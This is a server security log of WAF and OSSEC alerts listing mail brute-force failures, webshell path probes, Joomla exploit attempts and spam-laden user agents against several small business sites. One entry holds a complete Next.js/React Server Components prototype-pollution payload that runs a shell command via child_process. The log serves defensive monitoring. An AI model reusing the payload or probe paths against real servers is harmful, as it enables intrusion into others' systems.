country_id: 1269750
domain: ddgalaxy.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.6 Safari/537.36||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.11
country_id: 1668284
description:
2026-07-05 20:27:38 dovecot_login authenticator failed for H=111-70-32-11.emome-ip.hinet.net ([4.35.66.245]) [111.70.32.11]:47693: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/metrodigitals/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-05 20:30:18 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([101.13.2.182]) [77.53.193.47]:57538: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.115.117.127
country_id: 1210997
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/metrodigitals/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.11.38
country_id: 1668284
description:
2026-07-05 20:30:32 dovecot_login authenticator failed for H=111-70-11-38.emome-ip.hinet.net (ip-142-54-226-210.hosts.zerolag.com) [111.70.11.38]:40970: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.212.0.175
country_id: 1880251
domain: metrodigitals.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/metrodigitals/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-05 20:30:49 dovecot_login authenticator failed for H=([174.64.199.69]) [122.53.106.124]:36643: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-05 20:31:57 dovecot_login authenticator failed for H=(88.248.250.143.static.ttnet.com.tr) [103.163.44.10]:39712: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.201.237.208
country_id: 1269750
description:
2026-07-05 20:35:40 dovecot_login authenticator failed for H=([211.178.3.26]) [106.201.237.208]:42254: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-05 20:35:58 dovecot_login authenticator failed for H=([49.124.153.57]) [182.95.176.122]:34918: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77142206
name: IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)
abuser: 170.205.31.43
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Joomla Com_Fabrik Vulnerabilities (RBL)||MVN:ARGS:option||MV:com_fabrik||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.254.119.147
country_id: 1269750
description:
2026-07-05 20:41:16 dovecot_login authenticator failed for H=([106.245.246.26]) [117.254.119.147]:49738: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.78.157.184
country_id: 1861060
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 181.128.110.228
country_id: 3686110
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://stoerig-it.de/index.php?title=User:LeanneShively57\">Balloon Juego M\xc3\xa9xico</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.53.193.47
country_id: 2661886
description:
2026-07-05 21:05:09 dovecot_login authenticator failed for H=h77-53-193-47.cust.bredband2.com ([24.249.199.9]) [77.53.193.47]:44904: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-07-05 21:09:21 dovecot_login authenticator failed for H=([192.111.138.28]) [182.73.109.194]:55028: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.12.241.225
country_id: 6252001
description:
2026-07-05 21:09:48 dovecot_login authenticator failed for H=([197.251.249.72]) [71.12.241.225]:60808: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.93.169
country_id: 337996
description:
2026-07-05 21:10:05 dovecot_login authenticator failed for H=(dsl-94-233-127-218.avtlg.ru) [196.188.93.169]:2155: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.85.53
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/home-theater-solutions HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-05 21:12:28 dovecot_plain authenticator failed for H=(togist) [174.134.45.64]:53069: 535 Incorrect authentication data (set_id=admin@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.118.224.138
country_id: 1835841
description:
2026-07-05 21:16:23 dovecot_login authenticator failed for H=([49.124.153.21]) [210.118.224.138]:46385: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-07-05 21:16:46 dovecot_login authenticator failed for H=([218.156.8.97]) [181.54.70.40]:37224: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.39.140.2
country_id: 1835841
description:
2026-07-05 21:21:41 dovecot_login authenticator failed for H=([14.35.209.208]) [36.39.140.2]:54488: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 106.245.246.26
country_id: 1835841
description:
2026-07-05 21:21:55 dovecot_login authenticator failed for H=([183.11.220.66]) [106.245.246.26]:32943: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.235
country_id: 1668284
description:
2026-07-05 21:23:59 dovecot_login authenticator failed for H=111-70-9-235.emome-ip.hinet.net (ip-68-71-245-203.hosts.zerolag.com) [111.70.9.235]:40664: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.97.52.95
country_id: 1269750
description:
2026-07-05 21:24:38 dovecot_login authenticator failed for H=(62.36.19.42.static.abi.uni2.es) [59.97.52.95]:57586: 535 Incorrect authentication data (set_id=mail)


plugin: modsec
rule: 77093094
abuser: 35.200.191.248
country_id: 1269750
domain: 103.185.74.189
name:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)

description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('pwd').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.210.205.212
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/ibmcglobal/public_html/wp-admin||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.210.205.212
country_id: 1861060
domain: ibmcglobal.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/ibmcglobal/public_html/wp-includes||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-05 21:34:58 dovecot_login authenticator failed for H=([184.185.2.1]) [210.206.24.237]:3665: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-05 21:35:20 dovecot_login authenticator failed for H=(45-181-101-92.plugartelecom.net.br) [103.168.241.32]:33094: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.126.193.103
country_id: 3865483
domain: ahsmarine.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ahsmarine.com/2018/08/29/about-business-development/index.html HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.59.162.146
country_id: 597427
description:
2026-07-05 21:40:54 dovecot_login authenticator failed for H=([219.129.236.174]) [2.59.162.146]:55198: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.183.59.33
country_id: 130758
description:
2026-07-05 21:41:02 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [94.183.59.33]:37916: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.59.80
country_id: 1835841
description:
2026-07-05 21:40:43 dovecot_login authenticator failed for H=([117.252.93.114]) [119.192.59.80]:46789: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.134.97
country_id: 99237
description:
2026-07-05 21:41:36 dovecot_login authenticator failed for H=(wsip-184-178-172-10.rn.hr.cox.net) [65.20.134.97]:34065: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: www.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/ibmcglobal/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.201.26
country_id: 1269750
description:
2026-07-05 21:48:18 dovecot_login authenticator failed for H=([60.174.35.18]) [128.185.201.26]:58662: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.69.178
country_id: 1269750
description:
2026-07-05 21:48:32 dovecot_login authenticator failed for H=(isp-31-222-6-25.saowifi.net) [182.78.69.178]:38874: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-05 21:48:59 dovecot_login authenticator failed for H=([157.85.13.153]) [221.167.50.229]:57034: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.160.124.86
country_id: 1835841
description:
2026-07-05 21:48:47 dovecot_login authenticator failed for H=([70.166.167.47]) [115.160.124.86]:44433: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-05 21:49:32 dovecot_login authenticator failed for H=([174.75.211.195]) [122.185.44.206]:38345: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.73.25
country_id: 1668284
description:
2026-07-05 21:49:55 dovecot_login authenticator failed for H=221-120-73-25.emome-ip.hinet.net ([62.91.108.146]) [221.120.73.25]:49488: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.35.209.208
country_id: 1835841
description:
2026-07-05 21:55:19 dovecot_login authenticator failed for H=(187.115.118.57.static.host.gvt.net.br) [14.35.209.208]:38668: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.169.40.221
country_id: 1269750
description:
2026-07-05 21:55:43 dovecot_login authenticator failed for H=([125.20.207.154]) [122.169.40.221]:34882: 535 Incorrect authentication data (set_id=sunil)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 147.135.253.34
country_id: 3017382
domain: apkmetal.in
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=10187||QS:add-to-cart=10187||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-07-05 21:57:33 dovecot_login authenticator failed for H=68.129.5.84.rev.sfr.net ([98.170.57.236]) [84.5.129.68]:61764: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.124.231.28
country_id: 1835841
description:
2026-07-05 22:01:34 dovecot_login authenticator failed for H=(m2msolutions.static.gvt.net.br) [220.124.231.28]:57756: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.68.171.141
country_id: 3017382
domain: elegantautomotives.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/elegantautomotiv/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.6.91
country_id: 1668284
description:
2026-07-05 22:03:44 dovecot_login authenticator failed for H=(136.151.48.116.static.netvigator.com) [101.13.6.91]:45943: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.233.12.109
country_id: 2963597
description:
2026-07-05 22:06:59 dovecot_login authenticator failed for H=([27.223.98.117]) [80.233.12.109]:47225: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.105.240
country_id: 1668284
description:
2026-07-05 22:07:02 dovecot_login authenticator failed for H=110-25-105-240.adsl.fetnet.net (abts-north-static-031.15.160.122.airtelbroadband.in) [110.25.105.240]:48990: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.234.16.75
country_id: 6252001
description:
2026-07-05 22:07:20 dovecot_login authenticator failed for H=dhcp-72-234-16-75.hawaiiantel.net ([14.35.209.208]) [72.234.16.75]:46652: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.172.147.190
country_id: 1269750
description:
2026-07-05 22:07:25 dovecot_login authenticator failed for H=(179.185.69.43.static.gvt.net.br) [110.172.147.190]:38968: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 103.240.99.156
country_id: 1269750
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://delhi.delhihotelsqueen.com/call-girl-in-delhi.html\">Delhi Call Girl</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-05 22:09:54 dovecot_login authenticator failed for H=([111.35.36.49]) [182.78.86.62]:44598: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.34.118
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/home/kallanigroup/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-05 22:10:15 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [206.62.136.109]:56328: 535 Incorrect authentication data (set_id=cil)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 41.42.65.10
country_id: 357994
domain: travelinbh.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:60001.travelinbh.com||ServerName:travelinbh.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d7d4527e8eef9eaa51b265968f2449305b99da7c||Title:0xc5abedd1||RSV:8.25||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-admin/images/admin.php||SC:/home/kallanigroup/public_html/wp-admin||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/goods.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-05 22:12:59 dovecot_login authenticator failed for H=65-73-230-102.3457ff10b7f3305facc44dbac08ed40f.ip.frontiernet.net ([188.59.182.213]) [65.73.230.102]:51626: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.212.0.175
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/kallanigroup/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 63.78.215.208
country_id: 6252001
description:
2026-07-05 22:13:18 dovecot_login authenticator failed for H=([184.181.178.35]) [63.78.215.208]:43143: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 20.212.0.175
country_id: 1880251
domain: kallanigroup.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/kallanigroup/public_html/wp-includes/SimplePie||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.89.208.174
country_id: 1605651
description:
2026-07-05 22:21:24 dovecot_login authenticator failed for H=(37.150.87.223.dynamic.telecom.kz) [183.89.208.174]:35308: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.96.233.67
country_id: 6251999
description:
2026-07-05 22:21:45 dovecot_login authenticator failed for H=208-96-233-67.resi.cgocable.ca ([41.220.3.113]) [208.96.233.67]:32952: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.156.224.179
country_id: 102358
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 Purchase gold with bitcoin (<a href=\"https://btcgoldshop.com\">https://btcgoldshop.com</a>) (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.88.25
country_id: 1269750
description:
2026-07-05 22:28:46 dovecot_login authenticator failed for H=([211.178.165.251]) [202.62.88.25]:41940: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.197.42
country_id: 1269750
description:
2026-07-05 22:32:23 dovecot_login authenticator failed for H=([45.82.109.136]) [128.185.197.42]:39040: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-05 22:33:14 dovecot_login authenticator failed for H=(54.126.103.87.rev.vodafone.pt) [219.248.4.146]:42320: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.142.170.231
country_id: 6252001
description:
2026-07-05 22:33:17 dovecot_login authenticator failed for H=syn-024-142-170-231.biz.spectrum.com ([178.178.222.62]) [24.142.170.231]:59318: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-05 22:33:28 dovecot_login authenticator failed for H=([142.54.236.102]) [175.200.217.128]:39208: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-05 22:33:34 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com (177-72-87-7.static.as262543.net.br) [78.66.45.101]:46542: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.109.138
country_id: 1269750
description:
2026-07-05 22:33:35 dovecot_login authenticator failed for H=([182.95.102.190]) [182.95.109.138]:43882: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.204.41
country_id: 99237
description:
2026-07-05 22:33:40 dovecot_login authenticator failed for H=([98.182.171.163]) [65.20.204.41]:32805: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-05 22:33:50 dovecot_login authenticator failed for H=([59.145.86.177]) [116.72.9.151]:47010: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.127.101.225
country_id: 1880251
description:
2026-07-05 22:34:08 dovecot_login authenticator failed for H=(64-251-149-81.fidnet.com) [101.127.101.225]:55500: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.239.145.229
country_id: 6252001
description:
2026-07-05 22:34:49 dovecot_login authenticator failed for H=(203.115.130.46.in-addr.viva.am) [72.239.145.229]:59238: 535 Incorrect authentication data (set_id=prasad.k)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.138.198.0
country_id: 6252001
domain: travelinbh.com
description:
IM360 WAF: Bad file extension||RSV:8.25||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:travelinbh||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.50
country_id: 1269750
description:
2026-07-05 22:36:23 dovecot_login authenticator failed for H=(187-8-89-120.customer.tdatabrasil.net.br) [182.95.181.50]:36546: 535 Incorrect authentication data (set_id=mail)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.9.87
country_id: 1668284
description:
2026-07-05 22:35:54 dovecot_login authenticator failed for H=111-70-9-87.emome-ip.hinet.net ([116.171.27.248]) [111.70.9.87]:36064: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-05 22:36:08 dovecot_login authenticator failed for H=([182.95.101.182]) [98.157.226.42]:53044: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.160.164.140
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/intrusion-detection-systems HTTP/1.1||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.66.45.101
country_id: 2661886
description:
2026-07-05 22:39:02 dovecot_login authenticator failed for H=78-66-45-101-no2550.tbcn.telia.com ([111.62.173.90]) [78.66.45.101]:46136: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.89.43.104
country_id: 1861060
domain: gowww.ibmcglobal.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/uploads/wpxadmin.php||SC:/var/www/html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.218.50
country_id: 1269750
description:
2026-07-05 22:39:44 dovecot_login authenticator failed for H=(201-91-242-197.customer.tdatabrasil.net.br) [125.19.218.50]:44666: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 45.91.20.146
country_id: 3175395
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://de.chatruletka-18.com/reif\">https://de.chatruletka-18.com/reif</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.192.211.180
country_id: 1269750
description:
2026-07-05 22:47:43 dovecot_login authenticator failed for H=([49.124.153.11]) [203.192.211.180]:41244: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-05 22:48:15 dovecot_login authenticator failed for H=(835403.cloudwaysapps.com) [165.101.222.22]:49009: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 62.60.130.228
country_id: 130758
domain: ddgalaxy.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.25||T:APACHE||MV:/images/images/cache.php||SC:/home/ddgalaxy/public_html/images/images||


plugin: modsec
rule: 77209353
abuser: 202.83.120.57
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/administrator/index.php/index.php||RSV:8.25||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.74.34.30
country_id: 630336
description:
2026-07-05 23:00:27 dovecot_login authenticator failed for H=([183.104.220.152]) [77.74.34.30]:49632: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.43.100.92
country_id: 1835841
description:
2026-07-05 23:01:05 dovecot_login authenticator failed for H=(ip-68-71-245-203.hosts.zerolag.com) [211.43.100.92]:39076: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
